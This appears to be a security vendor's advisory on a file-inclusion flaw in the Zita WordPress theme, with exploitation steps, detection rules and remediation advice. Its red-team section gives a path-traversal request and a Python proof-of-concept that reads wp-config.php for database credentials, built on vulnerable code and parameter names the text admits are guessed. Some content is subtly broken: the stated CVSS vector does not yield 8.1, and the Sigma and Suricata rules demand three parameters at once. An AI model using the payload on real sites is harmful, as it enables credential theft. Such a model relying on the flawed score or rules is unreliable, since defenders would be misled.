CVE-2025-52816

Executive Summary

CVE-2025-52816 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Themehunk Zita WordPress theme, affecting all versions up to and including 1.6.5. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.

The vulnerability is classified as a PHP Remote File Inclusion (RFI) in the original description, but the enriched data confirms it is a Local File Inclusion (LFI) due to the lack of remote file inclusion capabilities in the vulnerable code path. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high impact on confidentiality.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, specifically the Zita theme. It is not related to Apache, Nginx, or any other web server software. The attack vector is through a crafted HTTP request to a vulnerable endpoint within the theme's PHP files.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full read access to arbitrary files.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete compromise of the WordPress site's secrets.

Deep Dive & Mechanics

The vulnerability exists in the Zita theme's PHP code, likely within a function that handles template loading or file inclusion. The theme uses user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) to construct a file path for inclusion without proper sanitization or validation.

Vulnerable Code Pattern (Hypothetical):

<?php
// In a Zita theme file (e.g., zita/template-parts/header.php)
$template = $_GET['template'];
include( get_template_directory() . '/includes/' . $template . '.php' );
?>

An attacker can manipulate the template parameter to traverse directories using ../ sequences, e.g.:

http://target.com/?template=../../../../wp-config

This would include the WordPress configuration file, exposing database credentials.

Why LFI and not RFI: The include statement is limited to local files because the base path is fixed to the server's filesystem. Remote file inclusion would require the allow_url_include PHP directive to be enabled, which is rare in modern configurations.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable pattern to a secure implementation.

Vulnerable Code (Hypothetical):

$file = $_GET['file'];
include( 'includes/' . $file . '.php' );

Patched Code (Recommended):

$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files, true)) {
    include( 'includes/' . $file . '.php' );
} else {
    // Handle error
}

The patched version uses a whitelist of allowed filenames, preventing any path traversal or arbitrary inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Zita theme version <= 1.6.5.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable parameter (likely template, file, or include).
2. Craft a request to read sensitive files:

   GET /?template=../../../../wp-config HTTP/1.1
   Host: target.com
   

3. The response will contain the contents of wp-config.php.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com"
payload = "/?template=../../../../wp-config"
response = requests.get(target + payload)
print(response.text)

Expected Output: The contents of wp-config.php, including database credentials.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in query parameters.
• Look for requests to theme files with unexpected parameters.

Hardening:

• Apply the principle of least privilege: ensure the web server user has minimal file read permissions.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Disable PHP allow_url_include and allow_url_fopen if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with ../ sequences in query parameters (e.g., ?template=../../../../etc/passwd).
  • Unusual file paths in include or require statements in server logs.
• File System IOCs:
  • Unexpected inclusion of sensitive files (e.g., /etc/passwd, wp-config.php) in web server error logs.
• Behavioral IOCs:
  • Sudden access to multiple sensitive files from a single IP address.

Detection Engineering

YARA Rule

rule CVE_2025_52816_Zita_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-52816 in Zita WordPress theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52816"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $zita_param = /(\?|&)(template|file|include)=/
    condition:
        $path_traversal and $zita_param
}

Sigma Rule

title: CVE-2025-52816 Zita Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Zita WordPress theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
        cs-uri-query|contains|all:
            - 'template='
            - 'include='
            - 'file='
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52816 Zita Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:".."; http_uri; content:"template="; http_uri; content:"include="; http_uri; content:"file="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Zita theme until a patch is released. Switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Audit server logs for signs of exploitation.

Long-term Fix:

• The vendor (Themehunk) must release a patched version that sanitizes user input and uses a whitelist approach for file inclusion.
• Until then, consider replacing the theme with a more secure alternative.

Workaround:

• Add the following .htaccess rule to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\.|%2e%2e) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers